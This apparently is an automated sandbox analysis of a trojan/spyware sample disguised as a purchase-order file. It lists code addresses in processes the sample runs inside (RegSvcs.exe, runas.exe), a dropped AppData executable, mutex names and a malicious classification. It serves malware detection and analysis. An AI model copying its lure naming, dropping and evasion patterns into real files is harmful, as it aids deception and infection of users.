Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01591460	8_2_01591460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0165F43F	8_2_0165F43F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0165F7B0	8_2_0165F7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015E5630	8_2_015E5630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016516CC	8_2_016516CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A9950	8_2_015A9950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BB950	8_2_015BB950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01635910	8_2_01635910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0160D800	8_2_0160D800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A38E0	8_2_015A38E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0165FB76	8_2_0165FB76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01615BF0	8_2_01615BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015DDBF9	8_2_015DDBF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BFB80	8_2_015BFB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01613A6C	8_2_01613A6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01657A46	8_2_01657A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0165FA49	8_2_0165FA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0164DAC6	8_2_0164DAC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01641AA3	8_2_01641AA3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163DAAC	8_2_0163DAAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015E5AA0	8_2_015E5AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01657D73	8_2_01657D73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A3D40	8_2_015A3D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01651D5A	8_2_01651D5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BFDC0	8_2_015BFDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01619C32	8_2_01619C32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0165FCF2	8_2_0165FCF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0165FF09	8_2_0165FF09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01563FD5	8_2_01563FD5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01563FD2	8_2_01563FD2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A1F92	8_2_015A1F92
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0165FFB1	8_2_0165FFB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A9EB0	8_2_015A9EB0
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Code function: 9_2_026E4218	9_2_026E4218
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Code function: 9_2_026E6F92	9_2_026E6F92
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Code function: 9_2_026ED4A4	9_2_026ED4A4
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Code function: 9_2_04CCC7E4	9_2_04CCC7E4
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Code function: 9_2_04CC1F5F	9_2_04CC1F5F
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Code function: 9_2_04CC1F60	9_2_04CC1F60
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Code function: 9_2_04CCE9A9	9_2_04CCE9A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00F06000	14_2_00F06000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EB0100	14_2_00EB0100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00F402C0	14_2_00F402C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EC0535	14_2_00EC0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EDC6E0	14_2_00EDC6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EBC7C0	14_2_00EBC7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EC0770	14_2_00EC0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EE4750	14_2_00EE4750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EEE8F0	14_2_00EEE8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EA68B8	14_2_00EA68B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EF8890	14_2_00EF8890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00ECA840	14_2_00ECA840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EC2840	14_2_00EC2840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EC29A0	14_2_00EC29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00ED6962	14_2_00ED6962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EBEA80	14_2_00EBEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EB0CF2	14_2_00EB0CF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EC0C00	14_2_00EC0C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EBADE0	14_2_00EBADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EC8DC0	14_2_00EC8DC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00ED8DBF	14_2_00ED8DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00ECED7A	14_2_00ECED7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00ECAD00	14_2_00ECAD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00ED2E90	14_2_00ED2E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EC0E59	14_2_00EC0E59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EB2FC8	14_2_00EB2FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00F3EFA0	14_2_00F3EFA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00F34F40	14_2_00F34F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00F02F28	14_2_00F02F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EE0F30	14_2_00EE0F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00ECB1B0	14_2_00ECB1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EF516C	14_2_00EF516C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EAF172	14_2_00EAF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EDD2F0	14_2_00EDD2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EDB2C0	14_2_00EDB2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EC52A0	14_2_00EC52A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EC33F3	14_2_00EC33F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EAD34C	14_2_00EAD34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00F074E0	14_2_00F074E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EC3497	14_2_00EC3497
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EB1460	14_2_00EB1460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00ECB730	14_2_00ECB730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EC38E0	14_2_00EC38E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00F2D800	14_2_00F2D800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EC5990	14_2_00EC5990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EC9950	14_2_00EC9950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EDB950	14_2_00EDB950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00F33A6C	14_2_00F33A6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00F35BF0	14_2_00F35BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EFDBF9	14_2_00EFDBF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EDFB80	14_2_00EDFB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00F39C32	14_2_00F39C32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00ED9C20	14_2_00ED9C20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EDFDC0	14_2_00EDFDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EC3D40	14_2_00EC3D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EC9EB0	14_2_00EC9EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00EC1F92	14_2_00EC1F92
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045A2446	18_2_045A2446
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04594420	18_2_04594420
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_0459E4F6	18_2_0459E4F6
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044F0535	18_2_044F0535
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045B0591	18_2_045B0591
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_0450C6E0	18_2_0450C6E0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04514750	18_2_04514750
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044F0770	18_2_044F0770
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044EC7C0	18_2_044EC7C0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04582000	18_2_04582000
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04578158	18_2_04578158
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_0458A118	18_2_0458A118
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044E0100	18_2_044E0100
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045A81CC	18_2_045A81CC
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045B01AA	18_2_045B01AA
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045A41A2	18_2_045A41A2
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04590274	18_2_04590274
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045702C0	18_2_045702C0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045AA352	18_2_045AA352
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045B03E6	18_2_045B03E6
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044FE3F0	18_2_044FE3F0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044F0C00	18_2_044F0C00
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044E0CF2	18_2_044E0CF2
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04590CB5	18_2_04590CB5
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_0458CD1F	18_2_0458CD1F
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044FAD00	18_2_044FAD00
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044EADE0	18_2_044EADE0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04508DBF	18_2_04508DBF
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044F0E59	18_2_044F0E59
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045AEE26	18_2_045AEE26
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045AEEDB	18_2_045AEEDB
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04502E90	18_2_04502E90
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045ACE93	18_2_045ACE93
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04564F40	18_2_04564F40
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04510F30	18_2_04510F30
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04592F30	18_2_04592F30
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04532F28	18_2_04532F28
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044E2FC8	18_2_044E2FC8
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_0456EFA0	18_2_0456EFA0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044F2840	18_2_044F2840
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044FA840	18_2_044FA840
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_0451E8F0	18_2_0451E8F0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044D68B8	18_2_044D68B8
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04506962	18_2_04506962
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044F29A0	18_2_044F29A0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045BA9A6	18_2_045BA9A6
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044EEA80	18_2_044EEA80
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045AAB40	18_2_045AAB40
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045A6BD7	18_2_045A6BD7
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044E1460	18_2_044E1460
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045AF43F	18_2_045AF43F
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045A7571	18_2_045A7571
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045B95C3	18_2_045B95C3
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_0458D5B0	18_2_0458D5B0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04535630	18_2_04535630
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045A16CC	18_2_045A16CC
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045AF7B0	18_2_045AF7B0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044F70C0	18_2_044F70C0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_0459F0CC	18_2_0459F0CC
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045A70E9	18_2_045A70E9
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045AF0E0	18_2_045AF0E0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045BB16B	18_2_045BB16B
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_0452516C	18_2_0452516C
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044DF172	18_2_044DF172
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044FB1B0	18_2_044FB1B0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_0450B2C0	18_2_0450B2C0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_0450D2F0	18_2_0450D2F0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045912ED	18_2_045912ED
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044F52A0	18_2_044F52A0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044DD34C	18_2_044DD34C
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045A132D	18_2_045A132D
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_0453739A	18_2_0453739A
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04569C32	18_2_04569C32
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045AFCF2	18_2_045AFCF2
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045A1D5A	18_2_045A1D5A
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044F3D40	18_2_044F3D40
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045A7D73	18_2_045A7D73
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_0450FDC0	18_2_0450FDC0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044F9EB0	18_2_044F9EB0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045AFF09	18_2_045AFF09
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044F1F92	18_2_044F1F92
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045AFFB1	18_2_045AFFB1
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_0455D800	18_2_0455D800
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044F38E0	18_2_044F38E0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_0450B950	18_2_0450B950
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_044F9950	18_2_044F9950
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04585910	18_2_04585910
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045AFA49	18_2_045AFA49
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045A7A46	18_2_045A7A46
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04563A6C	18_2_04563A6C
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_0459DAC6	18_2_0459DAC6
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04535AA0	18_2_04535AA0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_0458DAAC	18_2_0458DAAC
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04591AA3	18_2_04591AA3
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045AFB76	18_2_045AFB76
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04565BF0	18_2_04565BF0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_0452DBF9	18_2_0452DBF9
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_0450FB80	18_2_0450FB80
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_00501FE0	18_2_00501FE0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_004FCED0	18_2_004FCED0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_004FB0E0	18_2_004FB0E0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_004FD0F0	18_2_004FD0F0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_004FB225	18_2_004FB225
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_004FB230	18_2_004FB230
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_005056B0	18_2_005056B0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_00503869	18_2_00503869
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_005038B0	18_2_005038B0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_0051BDA0	18_2_0051BDA0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_0430E74C	18_2_0430E74C
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_0430E3B7	18_2_0430E3B7
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_0430D818	18_2_0430D818

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 00F07E54 appears 96 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 0158B970 appears 262 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 015E7E54 appears 107 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 0161F290 appears 103 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 0160EA12 appears 86 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 00F2EA12 appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 015D5130 appears 58 times
Source: C:\Windows\SysWOW64\runas.exe	Code function: String function: 0455EA12 appears 86 times
Source: C:\Windows\SysWOW64\runas.exe	Code function: String function: 04525130 appears 58 times
Source: C:\Windows\SysWOW64\runas.exe	Code function: String function: 0456F290 appears 103 times
Source: C:\Windows\SysWOW64\runas.exe	Code function: String function: 044DB970 appears 262 times
Source: C:\Windows\SysWOW64\runas.exe	Code function: String function: 04537E54 appears 107 times

Source: Pre Alert PO TVKJEANSA00967.bat.exe

Static PE information: invalid certificate

Source: Pre Alert PO TVKJEANSA00967.bat.exe	Binary or memory string: OriginalFilename vs Pre Alert PO TVKJEANSA00967.bat.exe
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1808502142.0000000003ED5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs Pre Alert PO TVKJEANSA00967.bat.exe
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1808502142.0000000003ED5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs Pre Alert PO TVKJEANSA00967.bat.exe
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812017169.00000000056C0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs Pre Alert PO TVKJEANSA00967.bat.exe
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1808502142.0000000003EB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs Pre Alert PO TVKJEANSA00967.bat.exe
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1813982353.0000000007710000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs Pre Alert PO TVKJEANSA00967.bat.exe
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1794907046.0000000000EBE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Pre Alert PO TVKJEANSA00967.bat.exe
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000000.1692196796.00000000009A2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameQIoK.exe: vs Pre Alert PO TVKJEANSA00967.bat.exe
Source: Pre Alert PO TVKJEANSA00967.bat.exe	Binary or memory string: OriginalFilenameQIoK.exe: vs Pre Alert PO TVKJEANSA00967.bat.exe

Source: Pre Alert PO TVKJEANSA00967.bat.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Pre Alert PO TVKJEANSA00967.bat.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: STiokuWkiGFJ.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.56c0000.4.raw.unpack, id.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3ed5828.1.raw.unpack, id.cs	Cryptographic APIs: 'CreateDecryptor'

Source: Pre Alert PO TVKJEANSA00967.bat.exe, Factory.cs	Task registration methods: 'CreateFileTaskExtractor', 'CreateTaskReportGererator'
Source: STiokuWkiGFJ.exe.0.dr, Factory.cs	Task registration methods: 'CreateFileTaskExtractor', 'CreateTaskReportGererator'

Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, qRBbpxao885KWSeQTv.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, yWL2O9p29XpAZecQVf.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, yWL2O9p29XpAZecQVf.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.7710000.5.raw.unpack, yWL2O9p29XpAZecQVf.cs	Security API names: _0020.AddAccessRule
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, qRBbpxao885KWSeQTv.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, yWL2O9p29XpAZecQVf.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, yWL2O9p29XpAZecQVf.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3f7eb00.3.raw.unpack, yWL2O9p29XpAZecQVf.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@23/16@5/5

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe

File created: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe

Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Mutant created: \Sessions\1\BaseNamedObjects\pClOCSmehrwiOIZcl
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6040:120:WilError_03
